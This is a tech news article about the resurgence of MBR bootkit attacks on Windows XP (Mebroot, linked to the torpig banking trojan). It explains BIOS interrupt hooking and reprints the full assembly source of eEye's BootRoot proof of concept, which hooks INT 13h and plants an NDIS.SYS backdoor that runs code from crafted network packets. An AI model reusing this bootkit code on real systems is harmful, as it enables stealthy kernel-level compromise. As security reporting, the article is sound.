Rixstep
 About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Home » Industry Watch

The Return of the Boot Sector Attack

And back to the original PC.


Get It

Try It

We have to go a way back in our memories, writes Marco Giuliani. Back to the original PC.

To the boot sector virus that corrupted INT 13h. When media were inserted it copied itself; when someone tried to inspect a boot sector it served up the original held in an area marked 'damaged' in the FATs; when booting the new corrupted sector ran instead.

The attack is back - at least on Windows. It's being spread from iframes on web pages. The most prevalent strain right now is based on a proof of concept by Derek Permeh and Ryan Soeder of eEye presented at Black Hat 2005.

The eEye hack - never in the wild - corrupted the NDIS layer. This one - definitely in the wild - goes after the system kernel itself - and in addition installs and hides a half meg backdoor trojan at the end of the hard drive.

Symantec rate the threat as low but simultaneously warn of future dangers: this type of attack happens outside the normal arena where malware and antivirus battle it out - it does its dirty before the system is even up and running. At that point the PC - running basically any version of Windows - is just an old IBM MS-DOS PC again.

The BIOS & The IVT

Code in the BIOS is the first thing that runs on a PC. This chip ('basic input/output system') searches for the hard drive partition sector ('master boot record') to find out where the bootable operating system is located.

The partition sector is always at 0/0/1 - cylinder 0 head 0 sector 1 on the hard drive. 512 bytes in length it contains code, a signature, and the partition table - four 16 byte records of where the (up to) four partitions on the hard drive are located (using the same cylinder/head/sector description).

The BIOS loads this sector into memory and switches execution to it. The code ferrets out the start location of the bootable partition and loads its boot sector and switches execution to it. And so forth.

INT 00 - CPU-generated - DIVIDE ERROR
INT 01 - CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
INT 02 - external hardware - NON-MASKABLE INTERRUPT
INT 03 - CPU-generated - BREAKPOINT
INT 04 - CPU-generated - INTO DETECTED OVERFLOW
INT 05 - PRINT SCREEN; CPU-generated (80186+) - BOUND RANGE EXCEEDED
INT 06 - CPU-generated (80286+) - INVALID OPCODE
INT 07 - CPU-generated (80286+) - PROCESSOR EXTENSION NOT AVAILABLE
INT 08 - IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
INT 09 - IRQ1 - KEYBOARD DATA READY; CPU-generated (80286,80386)
INT 0A - IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
INT 0B - IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
INT 0C - IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
INT 0D - IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
INT 0E - IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
INT 0F - IRQ7 - PARALLEL PRINTER
INT 10 - VIDEO; CPU-generated (80286+)
INT 11 - BIOS - GET EQUIPMENT LIST; CPU-generated (80486+)
INT 12 - BIOS - GET MEMORY SIZE
INT 13 - DISK
INT 14 - SERIAL
INT 15 - CASSETTE
INT 16 - KEYBOARD
INT 17 - PRINTER
INT 18 - DISKLESS BOOT HOOK (START CASSETTE BASIC)
INT 19 - SYSTEM - BOOTSTRAP LOADER
INT 1A - TIME
INT 1B - KEYBOARD - CONTROL-BREAK HANDLER
INT 1C - TIME - SYSTEM TIMER TICK
INT 1D - SYSTEM DATA - VIDEO PARAMETER TABLES
INT 1E - SYSTEM DATA - DISKETTE PARAMETERS
INT 1F - SYSTEM DATA - 8x8 GRAPHICS FONT
INT 20 - DOS 1+ - TERMINATE PROGRAM
INT 21 - DOS 1+ - Function Calls
INT 22 - DOS 1+ - PROGRAM TERMINATION ADDRESS
INT 23 - DOS 1+ - CONTROL-C/CONTROL-BREAK HANDLER
INT 24 - DOS 1+ - CRITICAL ERROR HANDLER
INT 25 - DOS 1+ - ABSOLUTE DISK READ
INT 26 - DOS 1+ - ABSOLUTE DISK WRITE
INT 27 - DOS 1+ - TERMINATE AND STAY RESIDENT
INT 28 - DOS 2+ - DOS IDLE INTERRUPT
INT 29 - DOS 2+ - FAST CONSOLE OUTPUT
INT 2A - NETBIOS

For 'basic input/output' the system uses the interrupt vector table - a series of addresses at page zero. This is low memory - starting at physical RAM address zero - and grouped into addresses of four bytes each.

The addresses are of type segment:offset where the first two bytes - the segment - are a paragraph value meant to be multiplied by 16 (a 'paragraph' is 16 bytes) and the last two bytes - the offset - are added to it.

Calling interrupts in the system - such as for reading and writing disks - involves using the INT instruction: first the CPU registers are set up according to instructions (these become the parameters to the call) and then the interrupt is called with its numerical value as an argument.

The interrupt value is multiplied by 4 to get to the address in page zero containing the segment:offset address in the BIOS control is to jump to.

Page Zero is RAM

Although the PC BIOS is may not be writable the interrupt vector table which points to the code in the BIOS is. Precursors to tools such as this could write directly to the table or to any address at all. Not that one would normally want to but still and all: the point is you can write to it - and if you can write to it you can 'redirect' ('hook') the calls to the BIOS.

You install your own code to handle the interrupts you want and your own code eventually calls the original BIOS snippets. Hooking into the IVT in this way is how TSR ('terminate and stay resident') programs could work: they hooked the keyboard interrupts - they got to keyboard input before anybody else did.

;===============================================================
; eEye BootRoot v0.90                  Last updated: 08/08/2005
;---------------------------------------------------------------
; Demonstration of the capabilities of custom boot sector code
; on a Windows NT-family system.
;
; Derek Soeder - eEye Digital Security - 04/02/2005
;===============================================================

.486p
.model tiny

BOOTORG EQU 7C00h	; our code is executed by the BIOS at 0000h:7C00h

BOOTROOT_SIZE EQU 200h

;----------------
BOOTROOT GROUP BRCODE16, BRDATA

ASSUME CS:BOOTROOT, DS:BOOTROOT, ES:BOOTROOT, SS:BOOTROOT

;----------------
BRCODE16 SEGMENT byte use16

@BRCODE16_START EQU $

;###################################
;##  Boot-Time Installation Code  ##
;###################################

    ;
    ; Initialization
    ;

    cli

    xor	bx, bx
    mov	ss, bx

    mov	ss:[BOOTORG - 2], sp
    mov	sp, (BOOTORG - 2)

    push	ds
    pushad

    mov	ds, bx

    ;
    ; Reserve 1KB conventional memory for our memory-resident code
    ;

    dec	word ptr ds:[0413h]	; 0040h:0013h - base memory size in KBs

    mov	ax, ds:[0413h]
    shl	ax, (10-4)	; AX *= 1024 / 16 (convert linear address in KBs to a segment)
    mov	es, ax

    ;
    ; Copy ourselves to reserved memory and initialize the rest to zeroes
    ;

    cld

    mov	si, BOOTORG
    xor	di, di
    mov	cx, BOOTROOT_SIZE / 2
    rep movsw

    xor	ax, ax
    mov	ch, (1024 - BOOTROOT_SIZE) / 2 / 100h
    rep stosw

    ;
    ; Install our INT 13h hook
    ;

    mov	eax, ds:[bx + (13h*4)]
    mov	es:[INT13HANDLER - @BRCODE16_START], eax	; store previous handler

    mov	word ptr [bx + (13h*4)], @Int13Hook	; point INT 13h vector to our hook handler
    mov	[bx + (13h*4) + 2], es	; (BX = 0 from earlier)

    ;
    ; Load and execute MBR from first hard drive (do this from resident code)
    ;

    push	es
    push	@BootFromHDD
    retf

@BootFromHDD:

    sti

    mov	es, cx	; CX = 0 from above REP STOSW

    mov	ax, 0201h	; AL = number of sectors
    inc	cx	; CH = cylinder; CL = sector and high bits of cylinder
    mov	dx, 0080h	; DH = head; DL = drive number
    mov	bh, (BOOTORG / 100h)	; ES:BX -> destination buffer
    int	13h	; INT 13h/AH=02h: Read sector(s) into memory

    popad
    pop	ds
    pop	sp

    db	0EAh	; JMP FAR 0000h:7C00h
    dw	BOOTORG, 0000h


;##################################
;##  INT 13h Hook Real-Mode ISR  ##
;##################################

@Int13Hook:

    pushf
    cmp	ah, 42h	; IBM/MS INT 13 Extensions - EXTENDED READ
    je	short @Int13Hook_ReadRequest

    cmp	ah, 02h	; DISK - READ SECTOR(S) INTO MEMORY
    je	short @Int13Hook_ReadRequest
    popf

    db	0EAh	; JMP FAR INT13HANDLER
INT13HANDLER EQU $
    dd	?

@Int13Hook_ReadRequest:

    mov	byte ptr cs:[INT13LASTFUNCTION], ah

    ;
    ; Invoke original handler to perform read operation
    ;

    popf
    pushf	; push Flags because we're simulating an INT
    call	dword ptr cs:[INT13HANDLER]	; call original handler
    jc	short @Int13Hook_ret	; abort immediately if read failed

    pushf
    cli
    push	es
    pusha

    ;
    ; Adjust registers to internally emulate an AH=02h read if AH=42h was used
    ;

    mov	ah, 00h
INT13LASTFUNCTION EQU $-1
    cmp	ah, 42h
    jne	short @Int13Hook_notextread

    lodsw
    lodsw	; +02h  WORD    number of blocks to transfer
    les	bx, [si]	; +04h  DWORD   transfer buffer

@Int13Hook_notextread:

    ;
    ; Scan sector for a signature of the code we want to modify
    ;

    test	al, al
    jle	short @Int13Hook_scan_done

    cld

    mov	cl, al
    mov	al, 8Bh
    shl	cx, 9	; (AL * 200h)
    mov	di, bx

  @Int13Hook_scan_loop:
    ; 8B F0       MOV ESI, EAX
    ; 85 F6       TEST ESI, ESI
    ; 74 21       JZ $+23h
    ; 80 3D ...   CMP BYTE PTR [ofs32], imm8
    ; (the first 6 bytes of this signature exist in other modules!)
    repne scasb
    jne	short @Int13Hook_scan_done

    cmp	dword ptr es:[di], 74F685F0h
    jne	short @Int13Hook_scan_loop

    cmp	word ptr es:[di+4], 8021h
    jne	short @Int13Hook_scan_loop

    mov	word ptr es:[di-1], 15FFh	; FFh/15h/xx/xx/xx/xx: CALL NEAR [ofs32]

    mov	eax, cs
    shl	eax, 4

    add	cs:[(NDISBACKDOOR_LINEAR - @BRPATCHFUNC32_START) + BRCODE16_SIZE], eax

    add	ax, (@PatchFunction - @BRPATCHFUNC32_START) + BRCODE16_SIZE
    mov	cs:[PATCHFUNC32_LINEAR], eax	; should be okay to add to AX, since we can't cross 1KB boundary

    add	ax, PATCHFUNC32_LINEAR - ((@PatchFunction - @BRPATCHFUNC32_START) + BRCODE16_SIZE)
    mov	es:[di+1], eax

@Int13Hook_scan_done:

    popa
    pop	es
    popf

@Int13Hook_ret:

    retf 2	; discard saved Flags from original INT (pass back CF, etc.)

@BRCODE16_END EQU $

BRCODE16_SIZE EQU (@BRCODE16_END - @BRCODE16_START)

BRCODE16 ENDS

;----------------
BRPATCHFUNC32 SEGMENT byte use32

ASSUME CS:BRPATCHFUNC32, DS:nothing, ES:nothing, SS:nothing

@BRPATCHFUNC32_START EQU $

;################################################################
;##  NDIS.SYS!ethFilterDprIndicateReceivePacket Backdoor Code  ##
;################################################################

@NDISBackdoor:	; +00h  DWORD   'eBR\xEE' signature
    ; +04h  [...]   code to execute (ESI points here on entry)
    pushfd
    pushad

    push	59h
    pop	ecx

    mov	esi, [esp+2Ch]	; ptr to some array of ptrs
    lodsd	; ptr to some structure
    mov	eax, [eax+8]	; ptr to an MDL for the packet
    cmp	dword ptr [eax+14h], ecx	; check size of packet
    jbe	@NDISBackdoor_ret

    add	ecx, [eax+0Ch]	; ptr to Ethernet frame
    cmp	dword ptr [ecx-4], 0EE524265h	; look for "eBR\xEE" signature at offset 55h in the frame
    jne	@NDISBackdoor_ret

    call	ecx

  @NDISBackdoor_ret:

    popad
    popfd

    push	ebp
    mov	ebp, esp
    sub	esp, 60h	; it doesn't matter if we allocate a little extra stack space

    db 0E9h	; E9h/xx/xx/xx/xx: JMP NEAR rel32
    ; "JMP NEAR (ethFilterDprIndicateReceivePacket + 6)" 'rel32' will be manually appended here

@NDISBACKDOOR_END EQU $

;#####################################################
;##  Auxiliary RVA-to-Pointer Conversion Functions  ##
;#####################################################

@TranslateVirtualToRaw:

    pushad
    push	08h	; FIELD_OFFSET(IMAGE_SECTION_HEADER, VirtualSize)
    jmp	short @Translate

@TranslateRawToVirtual:

    pushad
    push	10h	; FIELD_OFFSET(IMAGE_SECTION_HEADER, SizeOfRawData)

@Translate:

    pop	eax

    test	word ptr [esi+20h], 0FFFh	; size of image (should be 4KB multiple if sections are aligned)
    jz	@Translate_ret

    mov	esi, [ebx+3Ch]	; IMAGE_DOS_HEADER.e_lfanew
    add	esi, ebx	; ptr to PE header

    movzx	ecx, word ptr [esi+06h]	; IMAGE_NT_HEADERS.FileHeader.NumberOfSections
    movzx	edi, word ptr [esi+14h]	; IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader
    lea	edi, [esi+edi+18h]	; IMAGE_FIRST_SECTION(ESI)

@Translate_sectionloop:

    mov	edx, [esp+24h]	; function's stack "argument"

    sub	edx, [edi+eax+4]	; PIMAGE_SECTION_HEADER->{VirtualAddress,PointerToRawData}
    jb	short @Translate_sectionloop_next

    cmp	edx, [edi+eax]	; PIMAGE_SECTION_HEADER->{VirtualSize,SizeOfRawData}
    jbe	short @Translate_sectionloop_done

  @Translate_sectionloop_next:

    add	edi, 28h
    loop	@Translate_sectionloop

  @Translate_sectionloop_done:

    xor	al, 1Ch	; 08h --> 14h, 10h --> 0Ch
    add	edx, [edi+eax]	; PIMAGE_SECTION_HEADER->{PointerToRawData,VirtualAddress}

    mov	[esp+24h], edx	; update stack "argument" to contain translated value

@Translate_ret:

    popad
    ret

;#######################################
;##  Inline Code Patch Hook Function  ##
;#######################################

@PatchFunction:

    ;
    ; Initialization
    ;

    pushfd
    pushad	; assume DS = ES = 10h (KGDT_R0_DATA: flat ring-0 data segment)

    cld

    ;
    ; Scan for address of module list base (_BlLoaderData)
    ;

    mov	edi, [esp+24h]	; use EIP as a ptr into OSLOADER
    and	edi, NOT 000FFFFFh	; convert to image base ptr

    mov	al, 0C7h	; C7 46 34 00 40 00 00    MOV DWORD PTR [ESI+34h], 4000h

@PatchFunction_mlsigloop:	; assume that we will find it

    scasb
    jne	@PatchFunction_mlsigloop

    cmp	dword ptr [edi], 40003446h
    jne	@PatchFunction_mlsigloop

    mov	al, 0A1h	; A1 xx xx xx xx          MOV EAX, [xxxxxxxx]

@PatchFunction_mlbaseloop:

    scasb
    jne	@PatchFunction_mlbaseloop

    mov	esi, [edi]	; ptr to base of module list
    mov	esi, [esi]	; ptr to first node of module list
    mov	ebx, esi

    ;
    ; Search module list for NDIS.SYS
    ;

@PatchFunction_modloop:

    mov	esi, [esi]
    cmp	esi, ebx
    jne	short @PatchFunction_modloop_nextnode	; break out if we've traversed the entire (circular) list

;----
@PatchFunction_done:

    ;
    ; Restore registers, perform displaced instructions, and return into patched code
    ;

    popad
    popfd

    mov	esi, eax
    test	eax, eax
    jnz	short @PatchFunction_done_nojz

    pushfd
    add	dword ptr [esp+4], 21h
    popfd
@PatchFunction_done_nojz:

    ret
;----

@PatchFunction_modloop_nextnode:

    cmp	byte ptr [esi+2Ch], 8*2	; module file name 'UNICODE_STRING.Length' for L"NDIS.SYS"
    jne	short @PatchFunction_modloop

    mov	ecx, [esi+30h]
    mov	eax, [ecx]
    shl	eax, 8
    xor	eax, [ecx+4]
    and	eax, NOT 20202020h
    cmp	eax, 44534E49h	; "NDIS" mangled: 44004E00h ("N\0D\0" << 8) ^ 00530049h ("I\0S\0")
    jne	short @PatchFunction_modloop

    ;
    ; Search NDIS.SYS for ndisMLoopbackPacketX call to ethFilterDprIndicateReceivePacket
    ;

 	mov	ebx, [esi+18h]	; EBX = image base address

    mov	edi, ebx
    mov	al, 50h	; 50                      PUSH EAX
    ; 53                      PUSH EBX
    ; C7 46 10 0E 00 00 00    MOV DWORD PTR [ESI+10h], 0Eh
@PatchFunction_nmlpxloop:

    scasb
    jne	@PatchFunction_nmlpxloop

    cmp	dword ptr [edi], 1046C753h
    jne	@PatchFunction_nmlpxloop

    cmp	dword ptr [edi+4], 0Eh
    jne	@PatchFunction_nmlpxloop

    lea	edx, [edi+0Dh]
    sub	edx, ebx

    push	edx
    call	@TranslateRawToVirtual
    pop	edx	; EDX = RVA of offset following CALL instruction

    add	edx, [edi+9]	; EDX += rel32

    push	edx
    call	@TranslateVirtualToRaw
    pop	edi	; EDI = ptr to start of eFDIRP in potentially raw image
    add	edi, ebx

    cmp	word ptr [edi], 0FF8Bh
    jne	@PatchFunction_no8BFF

    inc	edi
    inc	edx
    inc	edi
    inc	edx	; skip over "MOV EDI, EDI" at function start (XP SP2 and later)

@PatchFunction_no8BFF:

    mov	al, 0E9h	; E9h/xx/xx/xx/xx: JMP NEAR rel32
    stosb

    push	40h - 5	; RVA of destination (at 40h, inside DOS EXE code) - size of JMP
    pop	eax
    sub	eax, edx	; EAX (rel32) = destination RVA - source RVA
    stosd

    db	6Ah, (@NDISBACKDOOR_END - @NDISBackdoor)	; 6Ah/xx: PUSH simm8 (to keep MASM from being stupid)
    pop	ecx

    mov	esi, (@NDISBackdoor - @BRPATCHFUNC32_START) + BRCODE16_SIZE

NDISBACKDOOR_LINEAR EQU $-4

    lea	edi, [ebx+40h]
    rep movsb

    lea	eax, [edx+6 - (40h + (@NDISBACKDOOR_END - @NDISBackdoor) + 4)]
    stosd

    mov	word ptr ds:[000B8000h], 0901h	; blue smiley

    jmp	@PatchFunction_done

@BRPATCHFUNC32_END EQU $

BRPATCHFUNC32 ENDS

;----------------
BRDATA SEGMENT DWORD

;#############################
;##  Boot Sector Signature  ##
;#############################

    db 2 dup (?)	; this signature must be last two bytes in boot sector
    dw	0AA55h

;###############################
;##  Post-Resident Data Area  ##
;###############################

PATCHFUNC32_LINEAR EQU BOOTROOT_SIZE

BRDATA ENDS

END

And it's the same principle with a boot sector virus or its recent reincarnation: you corrupt the interrupt vector table so the important calls point to your code instead.

Normally this isn't possible anymore with Windows but some versions still allow user land code to override disk sectors directly and booting from corrupted media will result in a 'rooted' system.

The attack vector works on all releases of XP and partially on its successor. The current 'trojan' in the wild seems hard coded for XP only.

Wrapping it Up

Another key to this weakness is the fact Windows system code doesn't replace BIOS calls - it wraps them. If the interrupt vector table is corrupted before Windows itself starts it remains corrupted - and corrupts Windows.

Another key is the fact code run this early in the game is not run in 'user mode' or 'kernel mode': it's run in good old 16-bit real mode - 'there is no sky'.

The Real World

The eEye proof of concept was just that: a proof of concept. It didn't attempt to hide. It was a demonstration - and a reminder - that weaknesses do exist. The code in the wild does everything it can to remain undetected.

The hack can hook the interrupts 10h, 13h, 14h, 15h, 16h, 19h, and 1Ah - for video, disk, serial, system configuration and power management, keyboard, reboot, and clock respectively. Once hooked into interrupt 13h it can inspect the next phase of the startup - namely NTLDR and the embedded OSLOADER. OSLOADER will in turn process BOOT.INI, run NTDETECT, start the swapping system, load HAL, the system kernel, the registry, and so forth.

But the eEye hack is already in there and can corrupt anything. OSLOADER is supposed to perform consistency checks on loaded modules but the hack could turn this off; it can modify files on disk before Windows starts; it can use its hook of 15h to reserve extended memory; and it can regain control by hooking yet another interrupt called later in the startup process.

And overwriting boot sectors with or without a hack installed is still possible on some Windows systems.

Best of 2007

Matthew Richard of iDefense calls the attack the most sophisticated spotted in the wild in all of 2007. He suspects it's being developed by the Russian 'torpig' group as the version found on 5,000 PCs up to now has custom versions of 'torpig', a trojan designed to steal online banking credentials.

'The rootkit has this whole plugin architecture that allows the authors to insert a new Trojan on the infected PC at any time', said Richard to Brian Krebs of the Washington Post. 'It all happens seamlessly in the background.'

'This is a very well written and well designed piece of malware.'

See Also
Symantec: Trojan.Mebroot
Prevx MBR Rootkit Followup
NVlabs: Boot Kit Source Code
eEye Digital Security: SysRQ2
eEye Digital Security: BootRoot
Symantec: A Rootkit in Your MBR!
Symantec: Trojan.Mebroot Removal
Symantec: Trojan.Mebroot Summary
NVlabs: Custom Boot Sector Subversion
Symantec: Trojan.Mebroot Technical Details
Prevx: Master Boot Record Rootkit is Here and ITW
Security Fix: New Nasty Hides From Windows, Anti-Virus Tools

About | ACP | Buy | Industry Watch | Learning Curve | News | Products | Search | Substack
Copyright © Rixstep. All rights reserved.